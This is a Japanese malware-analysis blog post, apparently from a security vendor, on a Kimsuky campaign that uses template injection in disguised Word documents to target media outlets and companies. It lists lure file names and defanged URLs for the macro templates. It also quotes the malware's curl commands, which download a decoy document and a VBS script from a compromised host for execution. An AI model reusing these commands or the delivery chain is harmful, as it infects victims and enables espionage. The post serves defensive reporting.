Posted By yeeun , 2023年 February 15日

正常なドキュメントに偽装したマルウェア(Kimsuky)

ASEC 分析チームは最近<原稿委託書に偽装したマルウェア(安保分野従事者が対象)>で紹介したマルウェアが安保分野だけでなく、マスコミや一般企業をターゲットに拡散していることを確認した。この不正なファイルはすべて上記のブログで紹介したマルウェアと同じようにテンプレートインジェクション(Template Injection)技法を使用しており、不正な Word マクロドキュメントをダウンロードして実行する。確認された配布ファイル名は以下の通りである。

[kbs 日曜診断]質問用紙.docx
イム** 自己紹介書.docx
app-planning – copy.docx

\word\_rels\settings.xml.rels で確認される External URL

攻撃者は不正なマクロコードが実行されるようにマクロの実行を誘導する画像を使用していた。この画像は以前から使用され続けており、すべて同じ攻撃者であると推定される。

攻撃者のメールに返信した場合に外部リンクで提供される Word ドキュメント (Kimsuky)

追加で確認された不正な Word マクロドキュメントのダウンロード URL は以下の通りである。

hxxp://www.hydrotec.co[.]kr/bbs/img/cmg/upload2/init.dotm
hxxp://www.hydrotec.co[.]kr/bbs/img/cmg/upload3/init.dotm
hxxp://jooshineng[.]com/gnuboard4/adm/img/ghp/up/state.dotm
hxxp://gdtech[.]kr/gnuboard4/adm/cmg/attatch/init.dotm
hxxp://ddim.co[.]kr/gnuboard4/adm/cmg/upload/init.dotm

ダウンロードしたドキュメントファイルに含まれた不正なマクロが実行されると、curl コマンドが含まれた version.bat ファイルを生成および実行する。バッチファイルには正常なドキュメントと追加で不正なスクリプトをダウンロードおよび実行するコードが存在する。使用される curl コマンドは以下の通りである。

curl -o “”” & fname & “”” hxxp://gdtech[.]kr/gnuboard4/adm/cmg/upload/state.docx
curl -o %temp%\temp.vbs hxxp://gdtech[.]kr/gnuboard4/adm/cmg/upload/list.php?query=60

確認された正常なドキュメントは、以下のような自己紹介書、アプリ提案書などに偽装していた。